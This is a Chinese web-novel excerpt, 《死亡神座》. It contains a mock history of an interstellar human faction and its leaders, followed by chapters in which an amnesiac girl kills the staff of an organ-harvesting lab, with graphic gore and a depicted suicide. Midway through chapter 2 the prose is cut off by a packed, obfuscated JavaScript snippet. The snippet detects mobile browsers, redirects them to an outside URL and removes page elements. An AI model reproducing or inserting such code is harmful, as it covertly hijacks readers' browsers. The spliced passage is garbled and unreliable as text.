《死亡神座》 1. 楔子 我们是烈星的孩子。 零比邻时期:不曾梦见的家园 所有人类都居住在本源星球上,是浩渺宇宙中的一粒沙。 孤独沉浮在真空的宇宙中。此时人类社会中尚且有国的概念。国与国之间摩擦,矛盾不断。 【0- 7715自然年】 --------------------------------------------------------------------- 机械为王元年:宏图与命运魔盒 人类对于人工智能以及仿生机械的理解和创造达到巅峰,国家的概念逐渐消退,这一时代的后期,则完全整合为全人类联邦体系。 本源星所在的位置,周围几颗较为庞大的星球也在一次次探索和考察之中,被成功殖民。 就在这一阶段的倒数第三年(8921创生年),人类接收到一小段距离本源星13万光年外的外星文明信息。13万光年,这是一段对于当时人类来说,唯有拼尽全力才能触碰到的距离。 明知极大可能是饵料,但即使重来一千万遍,命运的魔盒依旧会被打开。 人类联邦高层商议过后决定举全人类之力,打造一艘宇宙飞船,前往信息发源地。 【7719 – 8924创生年 】 --------------------------------------------------------------------- 混乱黑暗时期:如期赴约的灾殃 飞船飞出地球后的第8年(8932创生年),突然返航。带回的还有外星异族大军的侵蚀和攻打。联邦高层一夕之间死的死,废的废。 人类陷入了无穷无尽的黑暗之中。外星异族的肆意侵略,本源星和周围的几颗殖民星球纷纷沦为一片人间炼狱。 人类则成为了异族的口粮和奴隶,同时也被强制脱离了本源星纪年法。 【8932 – 9333创生年】 /【星际历73982年 – 74383年】 --------------------------------------------------------------------- 大迁徙时期:血与泪造就密匙 薪火不息,深知在这样的情形下,人类重新站起来的可能性微乎其微,为了拥有更强壮的身体和超越自我的智慧。人类在自己的身上不断寻找基因的秘密。 当时的主流基因改造分为两派。一派是主张机械与血肉之躯相结合,制造的钢筋铁骨战士,仅仅保留人的思维以及情感。 另一派主张的是拟生化类人类,将一些本源星上拥有强大生命力的本土生物基因与人类相结合,因而诞生了许多拥有鸟类翅膀,昆虫复眼,水牛鳞甲,兽类利爪的人类。 当然改造出的形态远远不止上述这几种。 这是一场没有回头路的,基因迁徙。 基因改造过的人类,往往寿命只有30 – 45年。甚至更短。 同时,一种新型力量被发掘—— 命名为SWP:Soul World Power. SWP值从F、E、D、C、B、A、S、SS、SSS、Z,从低到高排序。 SWP值越高,从精神世界中诞生的幻形战斗力越强大。同时,人类也能够通过意念进入自己的精神世界,对自己进行灵魂层面的修补。 其中位列末位的Z值与其说是力量,倒不如说是传说境界。 大迁徙末代(星历74433年),一个属于人类的地下组织悄无声息地在黑暗中拼命发展着自己的势力。 其名【龙鳞汇】,同时也是震慑星际外敌往后数千年的【晶体集会】前身。 人类的星火在黑暗中汇聚,越聚越多,最终汇成一条星火长河,点亮往后万年的星海征途。 【龙鳞汇】在那个年代,其主要任务是在暗中拯救那些被关押,当作口粮的人类同胞。 有战斗能力的可以选择加入他们,失去战斗能力的老弱病残,则被龙鳞汇成员安排在他们的在地下安全所。 挺直脊梁的路上,同样拥有背叛者。 一支名为【极夜堂】的人类队伍选择加入外星势力,对着自己的同胞大肆欺压,刀剑相向。 【极夜堂】曾多次渗透【龙鳞汇】,妄图将人类的星火捕捞殆尽。 【龙鳞汇】当时的初代会长,被自己的至交好友背叛,落入【极夜堂】追捕陷阱,在一次外星异族的庆功宴上被【极夜堂】成员作为投名状送出。 幸而在最后关头连斩外星异族数十,炸毁一处异族据点,暗中潜回了龙鳞汇基地大本营。只是脊骨损毁,无奈之下使用机械骨骼替代。 这也开辟出一条,将机械与拟生化类人类相结合的进化之路。但由于技术在当时并未成熟,依旧没有广泛推广。 【龙鳞汇】经此一战,终于暴露在世人和异族的目光之中。 【极夜堂】与此事之后,逐渐销声匿迹。 【星历74384年 – 74435年 】 --------------------------------------------------------------------- 星际征讨者元年:被迫踏上的征途 机械改造和基因融合的技术愈发成熟。 这一时期的人类躯体逐渐适应与机械或动物基因相结合的过程,普通人类种族被分为两支—— 改造类机械人类和拟生化类人类。 两者的身体素质较他们的先辈都大幅度的增强,平均寿命达到150 – 170年左右。更有甚者通过基因检测发现能活到200岁往上。 【龙鳞汇】初代会长在一次与异族争夺领星的战役中被【极夜堂】残党偷袭,加上龙骨旧伤复发,不幸身陨,年仅21岁。(星历74437年) 偷袭的那名【极夜堂】成员被初代身边暴怒的龙鳞汇二把手,也就是后来的【晶体集会】二代会长,当场连人带武器剁成了一滩铁肉烂泥。(本段记录源自白金报社。) 【龙鳞汇】初代会长生前钦定的接班人,【龙鳞汇】的二把手。能力丝毫不逊色于这位拥有传奇人生的初代会长。 【龙鳞汇】在这位二代会长接手后,力排众议,将【龙鳞汇】更名为【晶体集会】。 不是没有一代的拥护者怀疑二代会长改动名称旨在抹除初代的余威,但后来发觉二代会长仅是个人就出资赞助了上百本鼓吹初代会长的小说,报刊以及杂志。也就放任不管。 在接手【晶体集会】后,二代会长对【极夜堂】残党展开了全方位的围剿。不到三年的时间里,【极夜堂】的成员被清剿一空。 二代会长曾在采访中坦言:“【龙鳞汇】的光芒永不熄灭,我们的初代,他的威光普照大地。就让这荣耀也随他而去,永世不朽。” 【晶体集会】的整体实力并没有因为初代会长的离去而日渐衰败,相反,在这位由初代会长一手培养起的继承人身上,人们亦能看到昔日会长的身影。强大,坚守原则,铁血的手腕却不失温柔。 入侵本源星的外星异族被打得节节败退。本源星在【晶体集会】的带领下重新变为人类的家园,却因为过度的损毁已经无法让人类再长久居住下去。 人类带走本源星上一些尚未异变,仍然保留了最初的基因的动物和植株。零零总总算下来竟也有十几株植物,和零散的几只动物。 告别本源星,从开启起了属于人的星际旅程。纵然征伐与苦难不断,前行的脚步不会停歇,一切只为寻找新的家乡。 【星历74440年 – 74561年】 --------------------------------------------------------------------- 星际征讨者寰宇元年:燎原之火至今仍灼烫 人类重新建立起新的纪年法,命名为寰宇元年。 【晶体集会】二代会长由于长期劳累,于星历74565年22:04:08过劳猝死,与世长辞(148岁)。其留下的继任者年是一位15岁的女孩。 往日的二代拥趸皆以为尚且年幼的继任者难堪大任,纷纷意图架空这位年幼的,羽翼未丰的少年。 那些豺狗忘了,能成为晶体集会继任者的,本身就能力非凡。三百架歼星炮,直接轰碎从前那些拥趸的上位梦。 三代会长的性格和初代二代截然不同。疯狂,嗜血。拦在人类寻找新家园路上的外星种族,没有一个下场能逃脱[灭族]这两个字。 其余旁观的宇宙种族对她的评价往往充满负面情绪—— 流传最广的评价是“一条游荡在宇宙中的星际猎犬。” 然而此刻人类内部,一场噩耗蔓延开来:SW精神逸散症。 当初那些进行基因改造后的人类,本身并没有精神上的缺陷。但他们通过自然方式繁衍下的子嗣却多多少少都拥有精神逸散问题。 这也能解释三代会长为何时时刻刻都处在见血即疯的状态中,她的精神世界在不断逸散。 SWP值越高,越容易在后期逸散,崩溃。据传闻三代会长生命中最后几年中逸散出的能量,已经足够堪比她本人的精神意念。 医学院争分夺秒的研究药物,一切资源都堆砌在解决这场延迟爆发的SW精神逸散症上。 人类只祈求时间不要太快,太快地就带走了他们的年轻一代,他们的希望火种。 所有人类被禁止通过自然方式繁衍,但凡经举报核实确认了触犯此条法规的,男方施行物理阉割,最高判七十年有期徒刑。 女方不予生理处罚,最高判七十五年有期徒刑。在这样的铁律之下,带有基因病的新生儿数量迅速消减。 在拼尽全力的药物研发下,第一款针对基因改造人类后代的药物终于出世,可惜效果却不慎理想。 有首款SWP药物的研发作为基石,二代,三代,四代药物相继面世。 到第四代药物已经能够彻底清除SW精神逸散症,他们将这小小的一支药管命名为’救赎’。人们在街头欢呼雀跃,他们摆脱了病痛,精神世界终于得到了修复。 那时的晶体集会全体高层经过一致协商后将最新一代治疗基因链药物用星际货船押送,运往战争前线。所有的前线战士都随着一支支药管的到来获得了拯救。 可惜对于那时的三代会长来说,为时已晚。 杀戮和鲜血对她而言只是饮鸩止渴。 三代比任何人都清楚,注射了这支名为救赎的药剂,便等同于放弃了为【晶体集会】战争致最后一秒的资格。 她选择亲手放弃救赎。 三代会长的副官劝说无果,只能在极致的沉默之中单膝跪地,目送她效忠的会长走向命中注定的那条战线。 【星历74571年】【晶体集会】三代会长因病战死。 死前达成她人生中的最后一项[灭族]成就,年仅21岁。 她没能来得及留下自己的接班人。但,也并非毫无准备。 【注:这一时期由于晶体集会三代会长在位时间过短,本不应作为单独纪年记录,但三代战功显赫,生前共击溃前来侵犯我舰外星种族132族。】 【她奠定了人类种族在浩渺宇宙中不可超越的,维系往后数千年的基石,以及从不退缩的战斗精神。】 【特此记录。】 【三代会长 —————— 人在宇宙中的,燎原之火。】 【星历74562年 – 74571】 / 【寰宇1年 – 9年 】 --------------------------------------------------------------------- 星际征讨者寰宇3元年:荣耀连同炮火一起 在星际征讨者寰宇3元年第一年的00:00:00,位于培育基地1号培养仓中从本源星上带出的最后一株自然植物(同时也是最后的,源自本源星上的生物): 【Microchloa indica (L. f.) P. Beauv.】在新年到来的第一秒彻底枯萎。 宣告人类与他们的本源星彻底分离。就像是本源星已然见证了人类如今尚且安好,祂也要放手离去。 极致悲哀的气氛笼罩在远航舰之上,久久不散。 虎视眈眈的外星种族蜂拥而上。就在战局陷入僵持的紧要关头,位于晶体集会三代会长遗物藏室暗格中的一台营养仓悄然打开。 三代会长死前留下自己的复制体,当检测到人类再次陷入危急时刻,营养仓便会自动唤醒沉睡其中的复制体。 复制体没有基因疾病,她强大,理智。只要站在哪里,哪里的外敌就会像哀叫的野狗,夹着尾巴四处逃窜。 三代留下的复制体理所应当地成为了晶体集会的第四代会长。四代会长在位期间整整184年,外敌莫敢来犯。 【四代会长和三代很像,一次在会议上,她脱口而出的那句: “阻我远航者,杀无赦。” 和从前三代平日里总是放在嘴边的话如出一辙。看着那和三代会长如出一辙,没了病痛折磨的四代会长。在场的那些人无一不微微抬头,不想让泪水滚落。(采访内容源自白金新闻社)】 四代死前仍然是三代年轻时的容貌。 她握住继任者的手,道:“我就要追寻你们的三代而去,这一天我已经等了太久。而你,” 四代会长转过头,看向身边的人以及正在直播的摄像仪,说到: “你们。每一位。都是人类的火种。去寻找新的家园。在黎明到来的那一刻,有资格竖起我们的旗帜连同炮筒一起。” 说完这句话,她阖上了双眼。晶体集会的四代会长永远离开了人类,她和三代一起,意识永远沉眠在浩瀚的宇宙中。 那不是结束。是人类逐渐再次站起来的征途上,无可或缺的里程碑。 【寰宇10年 – 194年】 --------------------------------------------------------------------- 星际征讨者寰宇4元年:错误的时代,恶果酿造苦酒 晶体集会五代会长于57岁时继任,在五代没有上任前,质疑的浪潮一声盖过一声。但当她坐上那个位置,所有的不满和质疑全都销声匿迹了。 无他,只因为五代会长的确是最适合坐上那个位置的人。 历代晶体集会的会长挑选继任者只有一个标准—— 他们要的是一个‘合适的人’。 一个,在不正确时机也正确的继任者。 比起前四代会长骨子里多多少少不顾自己的疯劲,五代会长实行的稳扎稳打策略,在很大程度上安定了在宇宙中漂泊了太久,由于前路渺茫而心生慌乱的人群。 可以说,在那个时期,没有人会因为权势而去挑战五代的权威,只要还想要人类复兴有望就绝不会做这种蠢事。 晶体集会五代会长在位期间,远航舰上的设施,从街头垃圾桶到宇宙航行推进器,从每家每户的空调到远航舰尾段发动机冷却系统,等等一系列装置全部得到大幅度地提升。 晶体集会五代会长,一位熟读社会学的天赋型理工基建狂魔,在那个人心明灭摇晃,舰体满目疮痍的时期,没有比她更适合成为领头者的人。 在五代的带领下,远航舰内逐渐步入平缓期。法律被更加细致的完善,贴合民生。过往的人文以及历史被整合,装订成册放在图书馆,任何人都可以免费借阅。 舰内一片欣欣向荣。 就连四代在位时期最喜欢用的那款歼星炮,系统都连升三级,变成了真正字面意义上的歼星。 (旧款歼星炮主要针对陨星/小行星。而经过五代亲手改造,升级换代后的歼星炮主要作用在行星上。) 值得一提:这一时期的‘自主意识智慧生命平权计划’也在五代会长的带领推动下成功迈出里程碑式的第一步。 五代会长在位的第63年(寰宇258年),在一家孤儿院中找到了她的继任者。 那是一名沉默寡言的男孩,只有六岁。 五代于127岁(寰宇265年)从晶体集会会长这一岗位上平安退休,从会长一位上退休后的五代会长仍然奋斗在科研的前线,留下了许多不朽的传说。 【注:至今还在使用的歼星炮基础模块以及生化大楼基因组合等技术,都是后人在五代会长的技术以及理论上逐渐完善形成的。】 少年天才。六代会长在12岁那年,从养母手中接过了晶体集会的重担。 从此他做的每一个决定都关乎了人类的生死。(这也是晶体集会中难得的,继任者担起桥梁,而上一代会长依然在世的情形。) 虽然五代会长身为六代的母亲,以及上一任晶体集会的会长仍然拥有一定的执行权。但五代从来没有使用过。 哪怕是在六代会长最走投无路,万人唾骂之时。 晶体集会六代会长在位的第三年,他提出‘远航的结局是走向消亡’这一观点。

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三百余年的远航时光里,全人类都将【远航】 ———— 【寻找新的人类宜居家园】视为不可泯灭的目标, 六代会长提出的这个观点不可谓不离经叛道。 但正是这个在当时那个年代看上去格外离奇且不负责任的念头,无比正确,又无比成功地为人类开启了崭新的,星际家园。 六代会长一生中遭遇过不下上百次的刺杀。光是记录在案的就有411起。绝大部分刺杀都集中在他的前半生。 万人骂声中,就连从小看着六代长大的老师都连连叹息。 他们不明白自己的天才学生脑袋里究竟在想什么,也不明白为什么五代会长明明在世,却不愿意来纠正自己的孩子。 一意孤行的六代,最后还是走向那条,在他心中无比坚定,无比正确的道路。 不顾集会和民众的声音,晶体集会的六代会长宣布他已经暂停关于远航的一切事宜。并开始对远航舰本身进行扩建,并向附近一切宜居或不宜居星球进行可活动舰体连接。 “宜居的就占领。不宜居住的,就把它变成宜居星球。” 六代眼神冰冷地扫过台下蜂拥的记者,弯下腰对镜头说:“我们需要活着,在这片星空立足。” 没人会怀疑他的决心。 [一个在远航舰里憋疯了的疯子], 这是六代会长宣布他们成功链接第一个人造宜居星球时,绝大部分人类对他的评价。 尽管已经有不少科研,建筑等等行业的业界精英们开始逐渐正视晶体集会六代会长的这一提议,并且纷纷发文声称“【目之乡】计划绝非空谈”,但绝大部分群众的反响依旧充满鄙夷和反感。 他们坚持认定是五代会长不顾全人类的生命安全,给自己的养子开后门。 偏偏这时五代会长的生命已经进入了最后的倒计时。 直到最后,她从外界听到关于自己孩子的评价依旧是充满负面的。 病床前,六代会长轻轻虚握着母亲的手,滚烫的泪水从他的眼眶中滴落,可砸到五代会长的手腕上时,已经变得冰凉。 六代会长的声音很轻,又很温柔。 他说:“Mom,我的第一步已经成功了。” 说着,六代翻出寥寥几篇少数持中立或观望态度的报道,剪辑掉那些不好的评论,将无菌处理过的显示屏小心地放在母亲面前。 五代会长没有翻开那些报道,她只是一直看着自己的孩子。然后摇了摇头。 六代会长再次开口,这一次他的声音更轻了:“我会照顾好所有人。我不会放手,人类会迎来日出的未来。” 五代会长还是安静地看着自己的孩子。这一次她没有摇头,也没有点头。 最后,她只是挣扎着坐起身,像六代会长幼时那样,温柔又亲昵地拍了拍他的脑袋。“Mom爱你。” 说完这句话,五代会长在静默中与世长辞,享年131岁。 (以上内容为白金新闻社,蓝海媒体,知缪网等多家媒体友情提供) 目送五代离开的人有很多,六代会长只是其中之一。 他没有哭。也可能是哭过太多个日夜,如今已经无泪可流。 六代会长没有在那件压抑的病房待太久。他是最先离场的人。 自此晶体集会的六代会长再也没有换过其他颜色的衣衫。 压抑的黑色成为他日后一生的主色调。 他不再理会外界的一切声音,无论是善意、恶意、赞扬、还是批判。 从前的六代会长在面对指责时至少还会发一份通告,自五代会长死后,一份类似于交代或解释的通告都再没有发布过。 公共演讲的次数一次比一次少,每一次上台都是面无表情的上台念完台词就匆匆离开。无论台下人群的呼声是辱骂亦或是崇拜。 随着时间的推移,过去反驳他的,鄙夷他的,声音渐渐消失。 在名为【目之乡】的计划进展下,人类在宇宙中不必再毫无目的地漂泊。 他们终于重新拥有了自己的家园。而再过几年,新的一代降生。 那时,他们会称呼此刻崭新的家园为——故乡。 【目之乡】 【目之所及,皆为我的故乡。】 【目之乡】计划进展的第三年,以远航舰为中心,人类在宇宙中的家园殖民面积约为7.3亿平方光年。 正如晶体集会六代会长五年前在全人类面前所说的那样:“宜居的就占领。不宜居住的,就把它变成宜居星球。” 彼时他已经做到。 伴随着新家园的开垦,一扇扇从前闻所未闻的崭新世界大门被轰然打开—— 一系列固有认知有的被推翻,有的被重建,还有的得到更详确的解释。从科学到艺术无一不迎来大规模的天才诞生。说是两步一个艺术家,三步一个科学家都不为过。 【目之乡】计划进展的第六年,人类在宇宙中的家园终于确认成立。 面积足足拥有一万六千亿平方光年。那时的六代会长只有21岁。在平均寿命达到490-510岁的时代,他是那样年轻,所有人都将他视为希望。 是六代会长终结了人类于漆黑宇宙中长达将近四百年的孤独漂泊,也是他亲手为人类点亮了那盏真空宇宙中的归乡之灯。 所有的人在新家园中欢呼着,拥抱着。他们高喊六代的名,表达着自己对六代会长的喜爱之情。 在新家园确认成立后的一周年,万事万物都逐渐步入正轨。甚至比当初设想中最好的情况还要好上十倍百倍不止。 没有半个外星异族的利爪胆敢靠近人类追寻百年而终于建立的新家园。 六代会长在12月16日凌晨2点13分割喉自尽于家中浴室。 年仅21岁。 临死前的六代怀里抱着的是五代会长的照片。这是他因不明原因停止服用精神阻断药的第三天。 冰冷的尸体在第二天被上门探望他的副官发现,浴缸中是摇晃在白炽灯光下的血,粼粼鲜红。 人们在客厅的茶几上找到了六代会长遗留的录音终端,音频的开头只有六代轻而浅的呼吸声。 过了好久他才开口:“再见。” 再也不见。 六代会长并没有留下继任者。 一切都太突然。又好像早有端倪。 六代会长不属于我们。也不属于晶体集会。 他赤裸地来到这世上,亦赤裸地走。 错误的时代。 在那棵硕果累累的苍天大树背面,根罅间葬下数不清的恶行。 【寰宇195年 – 284年】 --------------------------------------------------------------------- (晶体集会的过往,同时也是#07秩序型星际世界中,人类生存发展之路。) (没有永久璀璨的不朽大厦,而历代会长他们,如今要去走自己的征途与未来。而非#07星际世界中全人类的。) (在此献上#07秩序型星际世界全人类最忠诚,最真挚的祝福。) —— 摘自《星火颂歌·第一卷》 (本书位列寰宇星际人类中小学生必读图书排行榜NO.1) 2. 失忆 “去亲眼见证那个由你力挽狂澜的世界。” 时间说:“你应该去的。” 于是四周的一切都在崩塌里逐渐走向与毁灭纠葛的未来。 血… 黏腻的、水蓝的血液顺着刀刃滑落昭示着其中一方非人的身份。 握紧刀柄的手微微颤抖,刀尖另一头是血肉柔软的触感。 源源不断的铁腥涌进肺部,中灰的虹膜映出自己面前青年狼狈的模样—— 雾霭蓝的发丝被血与汗水浸透,乱糟糟地贴在面颊上。 那双漂亮的眼睛里全是祈求:“段……” 玄发青年浅淡到几乎与虹膜融为一体的瞳孔为不可察地放大。 下一秒,锋利的长刀将眼前奄奄一息的雄性鲸族捅穿。 刀下,柔软的血肉触感愈发清晰。 “……咳咳…” 血源源不断地从蓝发青年的喉管里涌出,只看一眼便知他必死无疑。 “再次见到你……” 周围的声音无比杂乱。 联络器里是副官的咒骂,身旁两军交战的炮火声震耳欲聋。 远处星球被击裂的巨大闷响与心脏的跳动逐渐同频…… 灰瞳青年的眼目里空洞一片。 唯有对方的话语格外清晰—— “我…如愿了。” 无数纷繁的念头里,柯莱特终于抓到了最明晰的那个—— ‘死在你手里……我如愿了。’ 灰暗空洞的俯视下,那双雾霭蓝的,如初生婴儿般纯粹的眼睛彻底熄灭。 恍惚间玄发青年意识到,它们再也不会亮起。 后知后觉,她在那双蒙上阴翳的眼里看见自己被子弹洞穿的肩胛…… 还有二者身上剪裁、版型一致的……校服。 那把深深插进柯莱特腹部的长刀被始作俑者拔出,带出一串飞溅的血花。 她滞涩地张了张嘴,干渴的喉咙里却无法发出任何声音。 ‘……我。’ “我们赢了!” 联络器里嘈杂的庆贺,震得青年耳膜发痛。 “会长!我们赢了!!” “三代万岁!” “我就说吧!有会长在,这些异族还不是要……” 心脏在尖锐的痛感里搏动。大脑仍然是一片空茫。 她好像什么都听不清又好像什么都听见了。 副官声嘶力竭的咆哮也变得朦胧。 精神力燃烧殆尽的剧痛终于在此刻爆发,眼前一切都变得模糊起来。像是被谁死死按住后脑,压进由腐骨烂肉填满的水缸。 异香与铁腥还有许多说不上来的气味混杂在一起,拥挤地塞进肺部。 连呼吸的余地也失去。 刻骨铭心的死亡里,最后一刻她想到的不是副官、不是柯莱特,不是耗尽自己最后一滴心血去守护的家园。 而是那个被她亲手创造,用来回应战争—— 更完美的‘杀戮机器’。 ‘我的错误。’ ‘已经…无法补救。’ 她倒下。错过一枚疾驰呼啸,直奔太阳穴的子弹。 画面一转,青年置身于水汽氤氲的闭塞浴室。全身赤裸地站在镜面前。 骨节分明的指掌抹去镜面的水汽,堪堪触及一手冰冷。镜中人肤色苍白如幽鬼,冰凉的水珠从她宽阔的肩颈滑落,线条分明的腹肌在冷光的照射下呈现出非人的质感。 一道道水珠在镜面上汇聚着滑落,将那张锋利与美貌并存的容貌切割成镜外人看不懂的样子。 长发青年颈间挂着半截金属牌式吊坠,血肉与机械心脏的刻痕相互嵌套,呈现绝不分离的姿态。 下半截却是空空荡荡,什么都没有。乍一看好似两颗抵死纠缠的心脏被同时拦腰斩断。 吊牌在惨白的灯光里折出刺目的光线。 镜子里的人则依旧用那双中灰色作为主基调的瞳仁一转不转地审视着镜子外的自己。 ‘你后悔了吗?心慈?’ ‘后悔了吗?’ 她无从回答,于是缄默不言。 再后来颜色变了。 纯黑与猩红从虹膜的灰色中渗出并逐渐扩张,直至将中灰挤压至薄薄的边缘。 那中央的黯火跃动着,始终无法跨越黑暗一步。 它不可以跨越。 也没有资格跨越。 青年温冷的指尖缓缓抵上镜中人的胸口。 下一刻,相同温度的鲜血喷溅在苍白冷峻的面孔上。 镜子里淡粉的薄唇被血染红,显得秾丽不足,骇人有余。 五指构成的牢笼里,「自我」裸露的心脏正在不安分地鼓动。 后来,心跳逐渐与呼吸融为一体。再无法分割。 ‘咔嚓——’ 镜面中央出现一道裂纹。 她下意识用指腹抚过那道痕迹。 比刺痛先一步到来的,是镜面的彻底碎裂—— 碎镜千万面,千万面是我。 “我与……「我」…同在。” 意识在时间流逝里无尽下坠,最终望进一双清透的深棕色眼睛。 属于……那个由自己亲手带大的孩子。 对方怀着浓烈的憎恨,有力的十指扼住她的脖颈:“…段心慈,你敢抛下我——” “我就敢恨你、恨你!” “……” 她似乎想伸手抹去对方的泪水,却发现自己无法抬手。 只好听见青年沙哑的哭诉:“我恨你!!段、心、慈!” ———— 少年从噩梦中惊醒,坐起身,呼吸急促。 下意识将手掌撑在身后的金属台面上,冰冷的触感让她打了个激灵。 这是一具有些营养不良的12岁身躯,身高仅有167cm不到。 ‘……是梦?’ ‘……不…还是……不对……’ 难以言喻的恐慌占据了她全部思维。 “我是谁?!” 玄色长发的少年低头看向自己苍白的十指,大脑蒙了蒙。 “我是什么?!” 周围死寂一片。 只有头顶惨白的照灯亮着。 如果没有失去记忆她一定能认出来这大概是个类似生物实验室的地方,自己正躺在人体解剖台上任由宰割…… 但现在她只能问—— “…我在哪儿???” “虽然很想和你探讨一番……”一道全身上下包裹得严严实实的白色身影走进实验室,随手将移门关闭。 “但我们这里不开设哲学课。” ‘现在不会,以后也不会。’ “货物。” Z区的疯狗。 长发少年:“……?” 来者身穿厚重防护服,全身上下只露出一双藏在护目镜后的眼睛。从眼角细密的鱼尾纹能看出大约是5、600岁的年纪。 注意到本该将货物死死困在解剖台上的束缚带不知何时根根断裂,像一条条被掐断脑袋的蝮蛇,无力地垂落在两侧台边。 研究员皱皱眉。 能困住精神力等阶为S级的绑带,她不认为一个12岁的孩子能凭自己挣脱。想来是那些多事的同侪… “好了,你先给我老老实实地躺回去。” 作为这一片的总负责人,研究员深知这栋疗养院背地里的黑暗勾当:“既然来了这里就别想走了。” “虽然你看起来不是很健康,但器官……” 她神态狂热,转身从柜子角落里抽出一把长度将近1.5米的电锯立在解剖台旁:“我会帮你把器官改造得更健康。健康到能单独拎出去和狼群搏斗。” “不过在那之前我们还是先测个心率,小傻瓜。” 面对这个可怕的称呼玄发少年选择保持沉默。 “和你同一批来的那些废物现在还睡得死沉。” “该说不说……” 总负责人状似自言自语地调侃,目光却一直有意无意地落在段心慈身上:“不愧是被晶体集会「教授」点名关照的试验体吗?” 谁让摸清货物的心理防线也是他们这些研究员的任务之一? ‘这么看我实在太敬业了。’ 然而监测仪深绿色显示屏上59次/分钟的心率注定只能让她失望。 看着比普通人还偏慢的心率数值,研究员不由得怀疑起来—— ‘该不会是听力障碍?’ ‘不对啊,资料上没写她除了精神病还有别的症状…难道是因为教授拨款太抠搜,旧款仪器终于不堪重负报废了?’ “……这不对。” 少年的嗓音有些暗哑。深黑的及腰长发散身后,在灯光照射下氤出怪异的红色。 她似乎是有名字的…… ‘段…心慈?’ 三个字在口腔内滚了一圈,深入骨髓的熟捻感几乎立刻让她确认了这的确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509230|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是属于自己的姓名。 “对不对很重要吗?” 总负责人用一种你赚大发了的眼神看着她:“充满爱心和关怀的地方都是这样。你来得早,至少少走三十年弯路。” “……不。” 不想对少走弯路这四个发表任何评价,段心慈抬起头,中灰虹膜里是压抑的死寂与暗沉:“我要离开。” “别想了。” “你只有两条路可以走——受尽折磨后死在这里,或者杀死所有人走出去。” 总负责人有些吃力地拉开电锯走上前,刺耳的轰鸣瞬间响彻整间实验室。 “小傻瓜,先给你做个开颅手术~你会喜欢的。”她乐不可支地笑起来:“一定会很痛的~” 滋啦转动的电锯离那双虹膜纯灰的眼球只有约莫不到一毫米的距离。 监测仪深绿色的显示屏上,原本59次/分钟的心率跳为60次/分钟。 ‘不就是情绪波动吗…电锯可比语言有魅力多了。’ 她不知道,在一共只有两人的实验室内,有一个人对于后半句话和她持相同观点。 那双干涩黯淡的眼珠正紧紧盯着滋啦转动的电锯。 寒光闪烁的锯齿转动,几乎占据视线所及范围的全部。 “怎么啦?这就吓傻了?” 总负责得意至极。 如果她能细心一些就会发现与其说‘货物’的神情是畏惧,倒不如说有几分跃跃欲试。 理智告诉她或许离开是更好的选择,体内残存的杀戮本能却促使段心慈伸出手—— ‘砰!’ 一阵闷响,总负责人只觉得手上力道一滞。原本运转流畅的电锯骤然卡顿。 她心下一惊,低头去看。 ‘货物’的掌心被合金锯齿划破,血迹顺着手腕蜿蜒淌下。 少年死死捏住电锯,一点一点从自己面前移开。松开手时电锯的合金锯齿板已经扭曲,变成怪异的波浪形状。 被那双由杀欲充斥的眼瞳注视,总负责人下意识后退一步。 下一瞬,对面已经如幽灵般悄无声息地站在她身后。 抬腿大力踹在总负责人的左腿膝盖窝处的同时不忘抓住即将落地的电锯,避免电锯遭受二次伤害。 ‘好歹是武器,修一修还能用。’她是这样想的。 总负责人狼狈地倒地。左膝和小腿骨以扭曲的姿态摆在地上,同软胶假肢无异。谁来都能看出这条腿骨已经完全碎裂。 在疼痛以及恐惧里她正欲大喊出声,却在发声的前一秒被段心慈按住头颅,干脆利落地一电锯抹了喉。 头颅与脖颈成锐角向后翻折。 暗红的血从喉管断裂处喷涌、飙溅在银白的解剖台以及检测仪深绿色的屏幕上。交汇出一副怪诞、正在融化的景象。 少年下意识抹了把脸上暗红的粘腻。 心率监测仪的老旧屏幕经此闪烁两下,终于走向报废。 监测结果永久停留在总负责人死去的前一秒。 临死前,总负责人终于看清楚那双晦暗虹膜下蚀骨的疯狂,恍惚间她也有过片刻清醒:“……剧目…” ‘若由…你结束…我……也算……解脱……’ 段心慈面无表情地松手,任由手中失去外力支撑的尸体重重倒下。 躯壳砸在雪白的瓷砖上发出一声闷响。 尸体死不瞑目,浑浊的双眼死死瞪着,似是死时才终于窥见那片狰狞地狱的一角。 少年走到水槽前洗去手上的血迹,从一次性手套盒里抽了两只手套戴在手上,随后拿起自己先前放在台上的电锯。 在总负责人手中用起来有些吃力的大型电锯,在段心慈手中轻得像是可以随意摆弄的玩具。 原本畸变已经十分严重的金属又被她重新捏了回去。 随着开关拉动电锯重新运转,只是声音听起来不太对—— 从先前的嗡鸣声变成现在的‘咔擦咔擦’,听起来更加瘆人。 没有在意这点微不足道的小变化,段心慈将修好的电锯随意拎起,拉开病房大门跨步而出。 她身后,实验室内—— 暗红、流淌的血逐渐冷却,最后凝固在心率监测仪深绿色的屏幕上。 透过干涸的血污,能看见偌大的荧光绿数字隐约占据整块屏幕—— 警告 警告 警告 监测心率:241次/分钟 3. 杀戮 跨出大门,浓郁的消毒水气味刺激着嗅觉,同时将段心慈的神经死死拉扯。 走廊顶部是两行排列有序的惨白灯管,电锯在手中折出幽冷的寒光。 周围研究员看见她纷纷一副活见鬼的表情—— “是货物…是Z区被记忆清洗的那个!” “她怎么出来了?!” “总负责呢?!” 有人朝实验室内张望,短促地尖叫一声随即大喊:“总负责死了!” “她杀死了总负责!” 人群惊恐的奔走中,段心慈手中的电锯被轰然拉响。 一扇接一扇的实验室大门被她毫不留情地踹开,血液四溅,恶魔们的哀嚎传彻整栋大楼。 ‘既然只有杀光才能活着离开…’ 那张被血糊满的脸上是赤裸的杀意:‘那就全部杀死好了。’ 研究员的尸体一具接一具倒下。早在他们放弃人性与道德,对同胞残忍切割时就应该想到会有这么一天。 为什么事情会变成这样,他们自己也不知道。 ‘明明一开始只是想…赚钱糊口……’ ‘…能得到「教授」的青睐就再好不过……’ 一双双浑浊的眼球目光逸散,这几乎是场毫无悬念的清剿。 